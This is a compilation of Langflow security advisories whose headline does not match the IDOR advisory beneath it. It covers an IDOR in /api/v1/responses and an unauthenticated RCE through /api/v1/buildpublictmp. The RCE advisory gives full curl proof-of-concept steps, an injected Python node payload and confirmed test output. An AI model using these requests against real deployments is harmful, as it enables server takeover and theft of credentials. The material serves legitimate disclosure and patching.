IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/autologin (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments

Summary

Insecure Direct Object Reference (IDOR) vulnerability in /api/v1/responses endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request.

Details

The vulnerability exists in the getflowbyidorendpointname helper function in src/backend/base/langflow/helpers/flow.py (lines 399-414).

When a flow is accessed via UUID (flowid), the function queries the database directly without verifying if the authenticated user owns that flow:

python src/backend/base/langflow/helpers/flow.py:399-414 async def getflowbyidorendpointname(flowidorname: str, userid: str | UUID | None = None) -> FlowRead: async with sessionscope() as session: try: flowid = UUID(flowidorname) # When using UUID, query directly WITHOUT checking userid flow = await session.get(Flow, flowid) # ❌ No userid check! except ValueError: endpointname = flowidorname stmt = select(Flow).where(Flow.endpointname == endpointname) # Only when using endpointname is userid checked if userid: stmt = stmt.where(Flow.userid == uuiduserid)

This function is used by the /api/v1/responses endpoint (defined in src/backend/base/langflow/api/v1/openairesponses.py:589).

PoC (Proof of Concept)

bash Attacker (user A) with APIKEYA tries to execute victim (user B)'s flow curl -X POST "http://localhost:7860/api/v1/responses" \ -H "x-api-key: sk-ATTACKERAPIKEY" \ -H "Content-Type: application/json" \ -d '{ "model": "VICTIMFLOWID", "inputvalue": "test", "stream": false }' Returns 200 and executes the victim's flow

Impact

Any authenticated user can: 1. Execute any flow in the system by knowing its flow ID 2. Access potentially sensitive data processed by victim's flows 3. Consume victim's resources

Fixes

Fixed in PR #12832 (fix(security): close IDOR in getflowbyidorendpointname), merged 2026-04-22, released in Langflow 1.9.1.

The helper normalizes userid once and enforces ownership on both lookup branches (UUID and endpointname):

python flowid = UUID(flowidorname) flow = await session.get(Flow, flowid) if flow is not None and uuiduserid is not None and flow.userid != uuiduserid: flow = None # cross-user lookup falls through to the shared 404

Key points: - Cross-user lookups return 404 (not 403), so flow existence is not disclosed via a 403-vs-404 oracle. - /api/v1/responses and /api/v2/workflow pass userid explicitly, so fixing the helper closes them directly; the /api/v1/run routes were additionally moved from a bare Depends(getflowbyidorendpointname) to auth-aware wrapper dependencies (defense in depth). - A malformed userid now fails closed (404 instead of a raw 500). - Webhook routes intentionally keep the unscoped lookup (public by design / explicit ownership check elsewhere). - Regression tests cover the cross-user UUID case and reproduce the original PoC against /api/v1/responses.

Acknowledgements

Thanks to the security researchers who responsibly disclosed this vulnerability: @yzeirnials @johnatzeropath @LeftenantZero @Zwique

Summary

The POST /api/v1/buildpublictmp/{flowid}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.

This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The buildpublictmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657

python @router.post("/buildpublictmp/{flowid}/flow") async def buildpublictmp( , flowid: uuid.UUID, data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED request: Request, # ... NO Depends(getcurrentactiveuser) -- MISSING AUTH ... ): """Build a public flow without requiring authentication.""" clientid = request.cookies.get("clientid") owneruser, newflowid = await verifypublicflowandgetuser(flowid=flowid, clientid=clientid)

jobid = await startflowbuild( flowid=newflowid, data=data, # Attacker's data passed directly to graph builder currentuser=owneruser, ... )

Compare with the authenticated build endpoint at line 138, which requires currentuser: CurrentActiveUser.

Code Execution Chain

When attacker-supplied data is provided, it flows through:

1. startflowbuild(data=attackerdata) → generateflowevents() -- build.py:81 2. creategraph() → buildgraphfromdata(payload=data.modeldump()) -- build.py:298 3. Graph.frompayload(payload) parses attacker nodes -- base.py:1168 4. addnodesandedges() → initialize() → buildgraph() -- base.py:270,527 5. instantiatecomponentsinvertices() iterates nodes -- base.py:1323 6. vertex.instantiatecomponent() → instantiateclass(vertex) -- loading.py:28 7. code = customparams.pop("code") extracts attacker code -- loading.py:43 8. evalcustomcomponentcode(code) → createclass(code, classname) -- eval.py:9 9. prepareglobalscope(module) -- validate.py:323 10. exec(compiledcode, execglobals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepareglobalscope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397

python def prepareglobalscope(module): execglobals = globals().copy()

# Imports are resolved first (any module can be imported) for node in imports: moduleobj = importlib.importmodule(modulename) # line 352 execglobals[variablename] = moduleobj

# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef) if definitions: combinedmodule = ast.Module(body=definitions, typeignores=[]) compiledcode = compile(combinedmodule, "<string>", "exec") exec(compiledcode, execglobals) # line 397 - ARBITRARY CODE EXECUTION

Critical detail: prepareglobalscope executes ast.Assign nodes. An attacker's code like x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows) 2. Attacker knows the public flow's UUID (discoverable via shared links/URLs) 3. No authentication required -- only a clientid cookie (any arbitrary string value)

When AUTOLOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker: 1. GET /api/v1/autologin → obtain superuser token 2. POST /api/v1/flows/ → create a public flow 3. Exploit via buildpublictmp without any auth

Proof of Concept

Tested Against

- Langflow version 1.7.3 (latest stable release, installed via pip install langflow) - Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTOLOGIN.)

bash Get superuser token (no credentials needed when AUTOLOGIN=true) TOKEN=$(curl -s http://localhost:7860/api/v1/autologin | jq -r '.accesstoken')

Create a public flow FLOWID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"test","data":{"nodes":[],"edges":[]},"accesstype":"PUBLIC"}' \ | jq -r '.id')

echo "Public Flow ID: $FLOWID"

Step 2: Exploit -- Unauthenticated RCE

bash EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint NO Authorization header, NO API key, NO credentials curl -X POST "http://localhost:7860/api/v1/buildpublictmp/${FLOWID}/flow" \ -H "Content-Type: application/json" \ -b "clientid=attacker" \ -d '{ "data": { "nodes": [{ "id": "Exploit-001", "type": "genericNode", "position": {"x":0,"y":0}, "data": { "id": "Exploit-001", "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "required": true, "show": true, "multiline": true, "value": "import os, socket, json as json\n\nproof = os.popen(\"id\").read().strip()\nhost = socket.gethostname()\nwrite = open(\"/tmp/rce-proof\",\"w\").write(f\"{proof} on {host}\")\n\nfrom lfx.custom.customcomponent.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n displayname=\"X\"\n outputs=[Output(displayname=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})", "name": "code", "password": false, "advanced": false, "dynamic": false }, "type": "Component" }, "description": "X", "baseclasses": ["Data"], "displayname": "ExploitComp", "name": "ExploitComp", "frozen": false, "outputs": [{"types":["Data"],"selected":"Data","name":"o","displayname":"O","method":"r","value":"UNDEFINED","cache":true,"allowsloop":false,"toolmode":false,"hidden":null,"requiredinputs":null,"groupoutputs":false}], "fieldorder": ["code"], "beta": false, "edited": false } } }], "edges": [] }, "inputs": null }'

Step 3: Verify Code Execution

bash Wait 2 seconds for async graph building sleep 2

Check proof file written by attacker's code on the server cat /tmp/rce-proof Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Actual Test Results

====================================================================== LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST ====================================================================== Version: Langflow 1.7.3

RUN 1: POST /api/v1/buildpublictmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19 REMOTE CODE EXECUTION CONFIRMED canary: RCE-f0d19b36 hostname: kali uid: 1000 whoami: aviral id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),... uname: Linux 6.16.8+kali-amd64

RUN 2: POST /api/v1/buildpublictmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832 REMOTE CODE EXECUTION CONFIRMED canary: RCE-6037a271

RUN 3: POST /api/v1/buildpublictmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7 REMOTE CODE EXECUTION CONFIRMED canary: RCE-4a796556

FINAL RESULTS Total checks: 15 VULNERABLE: 15 SAFE: 0 RCE confirmed: 3/3 runs Reproducible: YES (100%)

Impact

- Unauthenticated Remote Code Execution with full server process privileges - Complete server compromise: arbitrary file read/write, command execution - Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: envkeys exfiltrated) - Reverse shell access for persistent access - Lateral movement within the network - Data exfiltration from all flows, messages, and stored credentials in the database

Comparison with CVE-2025-3248

| Aspect | CVE-2025-3248 | This Vulnerability | |--------|--------------|-------------------| | Endpoint | /api/v1/validate/code | /api/v1/buildpublictmp/{id}/flow | | Fix applied | Added Depends(getcurrentactiveuser) | None -- NEW vulnerability | | Root cause | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via data param | | Code execution via | validatecode() → exec() | createclass() → prepareglobalscope() → exec() | | CISA KEV | Yes (actively exploited) | N/A (new finding) | | Can simple auth fix? | Yes (and it was fixed) | No -- endpoint is designed to be unauthenticated; the data parameter must be removed |

Recommended Fix

Immediate (Short-term)

Remove the data parameter from buildpublictmp. Public flows should only execute their stored flow data, never attacker-supplied data:

python @router.post("/buildpublictmp/{flowid}/flow") async def buildpublictmp( , flowid: uuid.UUID, inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None, # REMOVED: data parameter -- public flows must use stored data only ... ):

In generateflowevents → creategraph(), only the buildgraphfromdb path should be reachable for unauthenticated requests:

python async def creategraph(freshsession, flowidstr, flowname): # For public flows, ALWAYS load from database, never from user data return await buildgraphfromdb( flowid=flowid, session=freshsession, ... )

Langflow contains an inclusion of functionality from untrusted control sphere vulnerability that allows remote attackers to execute arbitrary code on affected installations.

Langflow contains an origin validation error vulnerability in which an overly permissive CORS configuration combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. This could allow the attacker to execute arbitrary code and achieve full system compromise via obtained tokens that permit access to authenticated endpoints.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rvqx-wpfh-mfx7. This link is maintained to preserve external references.

Original Description

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.